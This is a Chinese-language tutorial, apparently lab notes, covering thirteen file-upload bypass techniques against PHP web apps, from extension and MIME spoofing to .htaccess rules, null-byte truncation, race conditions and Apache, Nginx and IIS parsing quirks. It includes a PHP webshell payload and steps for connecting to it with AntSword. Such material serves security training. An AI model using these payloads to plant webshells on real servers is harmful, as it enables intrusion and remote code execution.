目录
[7.空格/点 绕过](#7.空格/点 绕过)
[8.::DATA绕过](#8.::DATA绕过)
1.前端JS验证绕过
原理:前端JS校验后缀,仅允许 jpg/png/gif
方法1: 禁用JS:浏览器地址栏输入about:config,关闭javascript.enabled,刷新页面直接上传php
方法2: 抓包改后缀:将 php 木马先改后缀为 jpg上传,Bp抓包改回 php 放包即可
点击上传后缀为 php 的文件,Bp抓取不到此数据包,并弹出上传的文件不符合类型要求,于是猜想该代码并没有被上传到后端服务器

2.服务端MIME验证绕过
原理:后端校验 Content-Type,仅允许 image/jpeg/image/png/gif
上传php木马,Bp抓包修改请求头中 Content-Type为图片格式,放包完成上传

3.黑名单绕过
原理:黑名单禁止 php/asp/jsp 等,在某些特定环境中某些特殊后缀 php3/php5/phtml 等会被当作 php 文件 解析
将木马改为 test.php5,直接上传,访问该文件即可执行 php 代码

4..htacess解析绕过
原理:黑名单过滤严格,但未禁 .htaccess,可通过它指定文件解析规则
- .htaccess 是Apache服务器特有的配置文件,主要作用:URL重写、自定义错误页面、MIME类型配置及访问权限控制等,主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
- .htaccess 的用途范围主要针对当前目录
- 配置即生效,上传 .htaccess 后无需重启 Apache,直接访问图片马即可生效
1.创建 .htaccess文件,内容如下:
AddType application/x-httpd-php .png #如果当前目录下有png文件,指定png按php解析
2.先上传图片马 2.png(制作图片马:copy 1.png/b + test.php/a 2.png)
3.再上传 .htaccess,用蚁剑连接 http://127.0.0.1/upload/2.png 即可


5.大小写绕过
原理:黑名单仅匹配小写后缀,未做大小写统一处理
将木马命名为 test.PHp 直接上传,服务器会解析为php文件
6.双写绕过
原理:上传 test.pphphp 后,后端删除中间的 php,保留结果为 test.php
7.空格/点 绕过
原理:后端未过滤文件名的末尾空格,windows会自动截断空格
1.Bp抓包,将文件名改为 test.php (末尾加 空格)
2.放包后 windows 服务器保存为 test.php,成功解析

1.Bp抓包改文件名为 test.php**.,(末尾加点**)
2.放包后 windows 服务器保存为 test.php,成功解析

8.::$DATA绕过
原理:windows下 filename::$DATA 会保留原文件内容,后缀失效,仅识别前面的文件名作为实际文件名。
#::DATA 是 NTFS 文件系统中的一种数据流标识,用于访问文件的主要数据流

9.GET00截断
原理:PHP旧版本存在 NULL字节(空字符)截断漏洞(本质是利用ASCII码中编号为 0 的空字符 \0 的特性:程序在解析 文件路径/文件名 时,遇到空字符 \0 时,会认为字符串已结束,忽略 \0 后面的所有内容,从而实现 "截断" 后续字符、构造非法路径/文件名的目的)
- %00 是空字符 \0 的url编码形式,在url传输中,无法直接传递 \0 ,需编码为 %00
- 漏洞的核心是解析层面的截断,并非修改文件本身,而是让服务器解析时忽略后续内容
- 含空字符的字符串:test.php\0.jpg,程序读取到 \0 时,会判定字符串已结束,仅识别前面的 test.php, 后面的 .jpg 会被直接忽略,这就是 "截断" 的本质。test.php%00.jpg 会被解析为 test.php
- 确保 PHP版本 < 5.3.4
- PHP的 magic_quotes_gpc 为OFF状态
上传 test.jpg 抓包,修改保存路径为 test2.php%00 (此处php文件名任意)

10.POST00截断
GET 可以直接跟在URL后面,而POST会将参数放在请求体里面进行传输
1.上传 test.jpg 抓包,在请求体中找到文件保存路径,修改为 test3.php, (加逗号是为了方便查找十六进制的位置)
2.编辑十六进制,, 的十六进制是 2c,将 2c 改成 00



11.条件竞争绕过
原理:后端先上传文件,再校验后缀,不符合则删除,存在时间差
1.准备木马 test.php内容为:<?php fwrite(fopen('test.php','w'),'<?php eval($_POST[cmd]);?>');?>
2.Bp Intruder 循环发送上传请求,同时用浏览器高频访问 test.php
3.利用时间差执行代码,生成 test2.php 蚁剑连接即可
上传test.php,BP抓包发送到 Intruder模块,Clear删除标识,在Payload中选择Null payload,再勾选Continue indefinitely,表示无限期地访问,开始攻击

12.二次渲染绕过
#使用用户上传的图片生成新的图片
原理:后端用 GD 库二次渲染图片,会删除恶意代码,需找到渲染后保留代码的位置
上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新。
处理完成后,根据原有的图片对比,找到没被修改的部分,利用这一部分生成一个新的图片并放到网站的标签进行显示。
1.先上传图片马,上传之后服务器会对其进行二次渲染
2.然后将渲染后的图片保存下来与原图片马进行对比
3.找到上传前后没被修改的部分,利用这一部分插入代码,生成新的图片马
4.上传新的图片马,访问图片马,代码被执行
上传前后对比发现,上传的图片马已被渲染,上传前插入的代码消失不见了,找到上传前后不变的部分插入代码,生成新的图片马再上传即可

13.中间件解析
|---------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 中间件 | 利用条件 |
| Apache | **多后缀解析:**从后向前解析,遇到可解析后缀即停止; 路径解析: 上传 1.php.jpg 合法后缀绕过上传校验,访问时构造URL 1.php%0a.jpg,加 %0a 截断 .jpg,Apache会忽略 %0a 后的 .jpg,按 .php 解析。 |
| Nginx | 路径跳转解析: 若URL中包含 ../ 或特殊路径,会触发错误跳转,导致非脚本文件被解析。上传 1.jpg,访问 /1.jpg/index.php,Nginx会将 1.jpg 作为 index.php 的参数传递,最终被PHP解析。 |
| IIS | IIS6特殊后缀解析: IIS6默认会解析 .asp/.asa/.cer/.cdx 等后缀为 asp 脚本; IIS6文件夹名解析: 若文件夹名包含 .asp,则该文件夹下所有文件都会被解析为 asp 脚本; IIS6分号截断解析: IIS6会忽略文件名中 ; 后的内容,上传 1.asp;.jpg,IIS会忽略 ;.jpg,按.asp解析执行; IIS7.0/IIS7.5路径跳转触发解析: 在文件路径 /1.jpg 后面加上 1.php,会将 /1.jpg/1.php 解析为 php文件。 |